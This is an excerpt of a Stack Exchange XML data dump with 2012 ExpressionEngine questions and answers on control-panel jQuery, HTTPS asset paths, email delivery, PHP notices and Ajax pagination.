  <row Id="762" PostTypeId="2" ParentId="760" CreationDate="2012-11-29T13:02:16.337" Score="0" Body="&lt;p&gt;I don't know of a fieldtype that would do that natively, but it would be pretty straightforward to do this with two fields and a sprinkling of jQuery for some UI sugar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create a second (text) field to hold your &quot;other&quot; content, then in your template do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if radio_field != &quot;other&quot;}&#xA;  {radio_field}&#xA;{if:else}&#xA;  {text_field}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make things a bit friendlier in the CP, you can take advantage of the fact that field instructions can contain HTML, &lt;em&gt;including&lt;/em&gt; JavaScript. Basically we'll attach an event handler to the radio button's &lt;code&gt;change&lt;/code&gt; event, inspect the current value of the radio button at that point, and toggle the visibility of our text field depending on whether that value is &quot;other&quot; or not. Something like this should do it (not very tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(function() {&#xA;  var radioField = &quot;your_radio_field_id&quot;,&#xA;      textField = &quot;your_text_field_id&quot;,&#xA;      textFieldWrapper = &quot;hold_field_&quot; + textField.slice((textField.lastIndexOf(&quot;_&quot;)+1));&#xA;&#xA;  $(document).on('change', '[name='+radioField+']', function(e){&#xA;    var $textFieldWrapper = $('#'+textFieldWrapper);&#xA;    if ($(this).val() = &quot;other&quot;){&#xA;      $textFieldWrapper.show();&#xA;    }&#xA;    else {&#xA;      $textFieldWrapper.hide();&#xA;    }&#xA;  });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;NB&lt;/strong&gt; for this to work you'll need to look up your fields' &lt;code&gt;field_id&lt;/code&gt; values in the database, as that's what's used in the publish/edit page markup. If this is too fragile for you or you want to do this with a large number of fields then you'd probably need a custom fieldtype.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-29T13:20:47.540" LastActivityDate="2012-11-29T13:20:47.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="763" PostTypeId="2" ParentId="760" CreationDate="2012-11-29T13:19:23.797" Score="7" Body="&lt;p&gt;Sounds like you are looking for an field type add-on I use all the time called &lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Entry Type&lt;/em&gt;&lt;/a&gt;. It provides &lt;em&gt;P&amp;amp;T Pill&lt;/em&gt; buttons if you have that field type installed or Radio Buttons (I prefer P&amp;amp;T Pill), and hides or shows fields depending on which button is active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I don't remember how on earth I got along without &lt;em&gt;Entry Type&lt;/em&gt; before. Hope it works for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of the admin interface so you can get a feel for how it works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RlX52.png&quot; alt=&quot;Entry Type Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/entry-type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="467" LastEditorUserId="467" LastEditDate="2012-11-29T14:26:32.780" LastActivityDate="2012-11-29T14:26:32.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="764" PostTypeId="1" AcceptedAnswerId="899" CreationDate="2012-11-29T13:54:06.990" Score="4" ViewCount="175" Body="&lt;p&gt;This bit of code supplied with CartThrob does some fancy stuff on the checkout page. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;{path='store/cart.js'}&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, we go to HTTPS on this page and the JS doesn't get served up. We get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The page at &lt;a href=&quot;https://domain.com.au/store/checkout&quot; rel=&quot;nofollow&quot;&gt;https://domain.com.au/store/checkout&lt;/a&gt; ran insecure content from &lt;a href=&quot;http://domain.com.au/store/cart.js&quot; rel=&quot;nofollow&quot;&gt;http://domain.com.au/store/cart.js&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The JS file has template variables and all sorts in it, so I guess they why the CT people have it a template file? Either way, can I get it with HTTPS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="77" LastEditDate="2012-11-29T14:54:59.443" LastActivityDate="2012-12-01T13:03:11.850" Title="Getting JS Template Files on HTTPS" Tags="|ee2|cartthrob|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="766" PostTypeId="2" ParentId="764" CreationDate="2012-11-29T14:14:32.627" Score="2" Body="&lt;p&gt;It might just be an issue of making your &lt;code&gt;{path}&lt;/code&gt; URIs get served via HTTPS when the page you're viewing is being accessed via HTTPS. We have some logic in our config.php that handles it; the important bit being &lt;code&gt;if($_SERVER['HTTPS'])&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*************************************************************************************************************************&#xA;Paths &amp;amp; URLs&#xA;**************************************************************************************************************************/&#xA;&#xA;$root_path = '/home/project/';&#xA;$private_path = $root_path . 'private_ee/';&#xA;$public_path = $root_path . 'public_html/';&#xA;&#xA;if($_SERVER['HTTPS']){&#xA;    $public_url_component_0 = 'https';&#xA;}else{&#xA;    $public_url_component_0 = 'http';&#xA;}&#xA;&#xA;if($_SERVER[&quot;SERVER_NAME&quot;] == 'www.example.com'){&#xA;    $public_url_component_1 = $public_url_component_0 . '://www.example.com';&#xA;    $public_url_component_2 = '/';&#xA;}else{&#xA;    $public_url_component_1 = $public_url_component_0 . '://staging.example.com';&#xA;    $public_url_component_2 = '/~project/';&#xA;}&#xA;&#xA;$public_url = $public_url_component_1 . $public_url_component_2; &#xA;&#xA;$config['base_url'] = $public_url;&#xA;$config['site_url'] = $public_url;&#xA;$config['cp_url'] = $public_url . 'admin.php';&#xA;$config['theme_folder_path']   = $public_path . 'themes/';&#xA;$config['theme_folder_url']    = $public_url . 'themes/';&#xA;$config['third_party_path'] = $private_path . 'third_party/';&#xA;$config['tmpl_file_basepath'] = $private_path . 'templates/'; &#xA;$config['snippet_file_basepath'] = $private_path . 'snippets/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-11-29T14:14:32.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="767" PostTypeId="2" ParentId="764" CreationDate="2012-11-29T14:15:51.343" Score="5" Body="&lt;p&gt;One potential solution would be to switch your site URL to a &lt;a href=&quot;https://stackoverflow.com/a/550073/1777801&quot;&gt;protocol relative URL&lt;/a&gt;, i.e. instead of your Site URL being defined as &lt;code&gt;http://mysite.com&lt;/code&gt; you could change it to simply &lt;code&gt;//mysite.com&lt;/code&gt;. This way, when your browser requests cart.js it will request the &lt;code&gt;https&lt;/code&gt; variant if you're on a secure page and the &lt;code&gt;http&lt;/code&gt; one if you're not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take this approach and you're using either the &lt;code&gt;{path}&lt;/code&gt; or &lt;code&gt;{stylesheet}&lt;/code&gt; variables to link to your CSS then there is (naturally) a corresponding &lt;a href=&quot;http://www.stevesouders.com/blog/2010/02/10/5a-missing-schema-double-download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Internet Explorer bug&lt;/a&gt; to be aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deeper down the rabbit hole we go... it turns out EE's currently pretty buggy with respect to protocol relative URLs. On top of that, the buggy code is replicated at least three times within EE's codebase. It's not pretty. I've posted a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19047&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug report&lt;/a&gt; which is replicated below:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Protocol relative URLs break path variables&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The remove_double_slashes method currently converts absolute URLs like ‘//mysite.com/about’ into relative (and broken) URLs like ‘/mysite.com/about’. The attached regex tweak fixes the problem for me, but I haven’t tested it extensively.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It appears that this fix needs to be applied in at least three (!?) different places, all of which replicate the same function more or less identically:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;remove_double_slashes() in EE/libraries/Functions.php&lt;/li&gt;&#xA;  &lt;li&gt;reduce_double_slashes() in CI/system/helpers/string_helper.php&lt;/li&gt;&#xA;  &lt;li&gt;_remove_double_slashes in CI/system/libraries/Pagination.php&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A small tweak to the regex seems to have solved the problem for me, but I haven't tested it extensively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return preg_replace(&quot;#(^|[^:])//+#&quot;, &quot;\\1/&quot;, $str);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return preg_replace(&quot;#([^/:])/+#&quot;, &quot;\\1/&quot;, $str);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-12-01T13:03:11.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="768" PostTypeId="2" ParentId="749" CreationDate="2012-11-29T14:18:13.397" Score="4" Body="&lt;p&gt;If you want to stick with the EE date fieldtype and not display the localized/fixed select then you could use jQuery. To hide them across the board,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.hasDatepicker').next('select').hide();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt; gives a quick way to add JS to the control panel.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-11-29T14:37:48.470" LastActivityDate="2012-11-29T14:37:48.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="769" PostTypeId="1" AcceptedAnswerId="787" CreationDate="2012-11-29T14:34:49.107" Score="3" ViewCount="189" Body="&lt;p&gt;I keep getting a &quot;Unable to locate file ID&quot; when providing a file URL to the store:download tag. I believe this is because I am passing in the URL vs the actual server path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my assumptions are correct, how do I get the server path instead of the entire URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using all of the obvious available path variables within the file fieldtype pair and none of them seem to work.&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="115" LastEditDate="2012-11-30T23:41:08.330" LastActivityDate="2012-11-30T23:41:08.330" Title="Exp:resso Store Download error &quot;Unable to locate file ID&quot;" Tags="|expresso-store|ecommerce|expresso|file-uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="770" PostTypeId="1" AcceptedAnswerId="897" CreationDate="2012-11-29T14:40:24.077" Score="2" ViewCount="905" Body="&lt;p&gt;Have just moved a site live. But no emails are coming through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No CartThrob order confirmations. I have tried sendmail and phpmail. I have also tried both sendmail and phpmail and just sending from the CP with the 'communicate' feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With email debugging on the CP says everything is fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Your email has been sent. Your message has been successfully sent using the following protocol: sendmail&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CartThrob on the front end throws an error at the point it wants to send an order confirmation and says to turn email debug off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I start looking? This client doesn't use email with there webhost, they use Google apps - not sure if that matters?&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2012-12-01T05:06:09.550" Title="Email worked on dev server, not on live server" Tags="|ee2|email|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="771" PostTypeId="1" AcceptedAnswerId="774" CreationDate="2012-11-29T14:48:49.470" Score="3" ViewCount="619" Body="&lt;p&gt;I'm experiencing the following PHP error on a site running &lt;a href=&quot;http://buildwithstructure.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Structure&lt;/a&gt; (3.3.6), and am having some trouble debugging it.&lt;/p&gt;&#xA;&lt;p&gt;The text of the error is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;&lt;p&gt;Message: Undefined offset: 106&lt;/p&gt;&#xA;&lt;p&gt;Filename: views/index.php&lt;/p&gt;&#xA;&lt;p&gt;Line Number: 45&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It is being output inline in my entry tree like so:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cFTOg.png&quot; alt=&quot;Screenshot of error&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The code on line 45 of structure's &lt;code&gt;views/index.php&lt;/code&gt; is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$add_url  = BASE.AMP.'C=content_publish'.AMP.'M=entry_form'.AMP.'channel_id='.$page['channel_id']&#xA;.AMP.'parent_id='.$eid.AMP.'template_id='.$site_pages['templates'][$eid];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;(Line break added for readability)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I can't see anything unique/wrong with the entry that is triggering this notice, and Structure is otherwise working fine. The only real reason I want to clean it up is that it's visible to the client in the CP (not my server and I can't edit PHP error prefs unfortunately).&lt;/p&gt;&#xA;&lt;p&gt;Has anyone seen this before/know how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-04T15:10:28.487" Title="PHP Error on Structure manage entries page" Tags="|php|error|structure|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="772" PostTypeId="2" ParentId="51" CreationDate="2012-11-29T14:51:21.183" Score="1" Body="&lt;p&gt;Unfortunately I was unable to resolve this with SuperSearch, so ultimately I decided to migrate to &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; instead, which was a reasonably painless process and seems to be working well.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-29T14:51:21.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="773" PostTypeId="1" AcceptedAnswerId="784" CreationDate="2012-11-29T14:53:48.807" Score="3" ViewCount="100" Body="&lt;p&gt;In &lt;a href=&quot;https://objectivehtml.com/google-maps&quot; rel=&quot;nofollow&quot;&gt;Google Maps&lt;/a&gt;, I'm using &lt;code&gt;{exp:gmap:search}&lt;/code&gt; and &lt;code&gt;{exp:gmap:results}&lt;/code&gt; to create a search form and results listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I show entries with multiple statuses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can put a hidden field in the search form to specify a single status: &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;status&quot; value=&quot;pending&quot; /&amp;gt;&lt;/code&gt;, but I'm not sure how to search multiple.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2012-11-29T16:00:20.137" Title="Google Maps: Show results with multiple statuses" Tags="|forms|google-maps|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="774" PostTypeId="2" ParentId="771" CreationDate="2012-11-29T15:01:15.230" Score="4" Body="&lt;p&gt;The culprit is probably &lt;code&gt;$site_pages['templates'][$eid]&lt;/code&gt;. A couple of obvious things to check would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What's in the templates array? Find out with &lt;code&gt;var_dump($site_pages['templates']);&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check where &lt;code&gt;$eid&lt;/code&gt; is set.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's a bit of a leap of faith, but since the error looks like it relates to a template that isn't there, is there any chance you've assigned that page to a template which has since been deleted?&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-29T15:01:15.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="775" PostTypeId="2" ParentId="771" CreationDate="2012-11-29T15:01:21.720" Score="-3" Body="&lt;p&gt;If you really just want to suppress the error message, add an &quot;@&quot; before the PHP code wich is responsible for your error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think  $site_pages['templates'] just does not have an index with number 106, so in this case you could change line 45 into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$add_url  = BASE.AMP.'C=content_publish'.AMP.'M=entry_form'.AMP.'channel_id='.$page['channel_id'].AMP.'parent_id='.$eid.AMP.'template_id='.@$site_pages['templates'][$eid];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please consider another option as this is not the best solution ;)&lt;/p&gt;&#xA;" OwnerUserId="472" LastActivityDate="2012-11-29T15:01:21.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="776" PostTypeId="2" ParentId="770" CreationDate="2012-11-29T15:10:35.327" Score="7" Body="&lt;p&gt;A couple of things to check:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure that you're not sending confirmations to and from the same address with a Google-hosted email address. It will often discard such messages automatically.&lt;/li&gt;&#xA;&lt;li&gt;CartThrob just recently added a &quot;Reply-to&quot; field for notifications - use that for the customer's email (&lt;code&gt;{email}&lt;/code&gt;), and use a different address on the same domain in the &quot;From&quot; field (for example, if your admin order confirmations are being sent to &lt;strong&gt;orders@mywebsite.com&lt;/strong&gt;, set the &quot;From&quot; field to &lt;strong&gt;noreply@mywebsite.com&lt;/strong&gt;). Google is getting very strict about messages sent with a &quot;From&quot; header that is a Google-hosted email domain but that does not go through their SMTP. Using this &quot;Reply-to&quot; trick seems to help.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Failing that, you may want to look at using a service like &lt;a href=&quot;http://postmarkapp.com&quot;&gt;Postmark&lt;/a&gt;, which has an &lt;a href=&quot;http://developer.postmarkapp.com/developer-smtp.html&quot;&gt;SMTP option&lt;/a&gt; that should work with EE (set it up in your Email Configuration preferences).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-29T15:10:35.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="777" PostTypeId="2" ParentId="770" CreationDate="2012-11-29T15:12:16.227" Score="1" Body="&lt;p&gt;Sending email from web servers is often fraught with problems, especially if you're on a shared IP. Many times IPs get blacklisted by spam filters and prevent emails from going. Of course, it could also just be a configuration issue on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, to avoid all of this mess, I create an email account for the website and set the SMTP settings in ExpressionEngine to use that account to send, thus avoiding any local mail delivery issues.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-11-29T15:12:16.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="778" PostTypeId="1" AcceptedAnswerId="1327" CreationDate="2012-11-29T15:18:06.880" Score="1" ViewCount="103" Body="&lt;p&gt;Trying to get CPC live rates working and I am getting this error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couldn't connect to host (7)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this on the front end AND the back end.  My CPC id has been set up and verified.  Doesn't matter if I have test or live set as the status same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when this error shows up I get locked out of the admin section of the site.  The ONLY way to get back in is to manually remove the CPC ID# from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IS there anyone out there who has the Canada Post live rates working with Cart Throb?  I am getting little help over at the CT forums as shipping plugins are not supported&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="150" LastEditDate="2012-11-30T23:57:34.860" LastActivityDate="2012-12-07T20:40:55.997" Title="Cart Throb - Canada Post live rates errors" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="779" PostTypeId="2" ParentId="770" CreationDate="2012-11-29T15:20:22.460" Score="2" Body="&lt;p&gt;I agree with @Derek Hogue, start with making sure the send and receive email addresses are different. I'd also look at what might be different via the two servers. I've had to switch to SMTP mail for a few ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the SMTP option is available, give that a try, using the Google Apps login details.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-11-29T15:20:22.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="780" PostTypeId="1" AcceptedAnswerId="782" CreationDate="2012-11-29T15:34:59.330" Score="11" ViewCount="424" Body="&lt;p&gt;I`m currently working with categories in ExpressionEngine and facing the problem that i missing some kind of WYSIWYG editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An search on Devot:ee gives me no result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an solution or an fieldtype that add an WYSIWYG editor to an category description field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, Rein&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2012-12-01T12:16:38.580" Title="Category WYSIWYG" Tags="|categories|wysiwyg|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="782" PostTypeId="2" ParentId="780" CreationDate="2012-11-29T15:39:58.690" Score="20" Body="&lt;p&gt;DevDemon's Editor add-on does this. &lt;a href=&quot;http://devot-ee.com/add-ons/editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Editor on devot:ee&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HLSf5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2012-11-29T15:39:58.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="783" PostTypeId="2" ParentId="770" CreationDate="2012-11-29T15:40:39.847" Score="1" Body="&lt;p&gt;If EE is consistently failing to send emails it's worth checking whether or not you can trigger emails via direct calls to &lt;code&gt;mail()&lt;/code&gt;. Add the code snippet below to a test PHP file or PHP-enabled EE template and see if you receive anything:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if (mail('you@yourdomain.com', 'Quick email test', 'Is this on?'))&#xA;{&#xA;    echo 'Mail sent successfully.';&#xA;}&#xA;else&#xA;{&#xA;    echo 'Mail was not sent.';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't generate anything then try entering a secondary email address. If &lt;em&gt;that&lt;/em&gt; doesn't generate anything then it's likely your server configuration is the issue. If the second test works then you know that your email provider is the culprit (maybe it's bouncing the emails back as spam).&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2012-11-29T15:49:59.657" LastActivityDate="2012-11-29T15:49:59.657" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="784" PostTypeId="2" ParentId="773" CreationDate="2012-11-29T16:00:20.137" Score="7" Body="&lt;p&gt;Actually, the current version doesn't allow OR modifiers to the search. I think this would be a good feature request, and I can definitely work into the release after next. (v3.2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, the markup would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;status[]&quot; value=&quot;pending&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;status[]&quot; value=&quot;open&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But currently (as of 3.0.17), this would search &lt;code&gt;status = 'pending' AND status = 'open'&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-11-29T16:00:20.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="785" PostTypeId="2" ParentId="718" CreationDate="2012-11-29T16:04:05.783" Score="1" Body="&lt;p&gt;Personally, I'm a fan of the Mountee approach. We use Mountee with BBEdit and CSSEdit to modify most of our clients templates. But that's a personal preference, I've just never been a fan of the save templates as files approach. Mountee,  &lt;a href=&quot;http://hellomountee.com&quot; rel=&quot;nofollow&quot;&gt;http://hellomountee.com&lt;/a&gt; is a great option. Though it maybe Mac only.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-11-29T16:04:05.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="786" PostTypeId="1" AcceptedAnswerId="799" CreationDate="2012-11-29T16:07:09.777" Score="6" ViewCount="106" Body="&lt;p&gt;We have over 1000 categories visible on the Publish Form (inherited!). I want to be able to show the moderators the selected categories at a glance instead of them having to scroll through all 1000. Is there an extension out there that does this, or will I have to roll my own?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-29T17:19:00.737" Title="Display selected categories at top of publish category tab" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="787" PostTypeId="2" ParentId="769" CreationDate="2012-11-29T16:09:59.023" Score="4" Body="&lt;p&gt;If you're using the File Manager to upload then Store should properly create the download URL the file. Make sure the file is visible in the EE File Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per the Store docs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The real URL to the file the user needs to download. You will usually&#xA;  retrieve this from a custom field in your products channel. The&#xA;  download tag will securely provide access to this file for paid&#xA;  orders. Note that internally this is looked up and traced back to a&#xA;  file ID. Therefore, if the file isn’t visible in the EE File Manager,&#xA;  the download tag won’t work.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="239" LastActivityDate="2012-11-29T16:09:59.023" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="788" PostTypeId="1" AcceptedAnswerId="814" CreationDate="2012-11-29T16:19:40.987" Score="3" ViewCount="1391" Body="&lt;p&gt;So, i've got a page where it shows 2 news entries. Then there is a link that when clicked, loads in via ajax more entries until they run out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template that gets pulled in via ajax looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;      channel=&quot;news&quot;&#xA;      disable=&quot;categories|category_fields|member_data|trackbacks&quot;&#xA;      dynamic=&quot;no&quot;&#xA;      limit=&quot;2&quot;&#xA;      paginate=&quot;bottom&quot;&#xA;      orderby=&quot;date&quot;&#xA;      sort=&quot;desc&quot;&#xA;    }&#xA;     &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{content}&#xA;          {paginate}&#xA;            {pagination_links}&#xA;                {next_page}          &#xA;                    &amp;lt;li class=&quot;example&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; title=&quot;example&quot; class=&quot;news-ajax-link&quot;&amp;gt;More news &amp;amp;rarr;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/next_page}&#xA;            {/pagination_links}&#xA;        {/paginate}&#xA;&#xA;      {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works and is fine, but, how do i get it to not pull in the first two articles (as they are already on the original page) but still be able to keep calling that page to load in more entries normally?&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-29T22:13:41.810" Title="Load entries with Ajax and offset existing entries" Tags="|ajax|entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
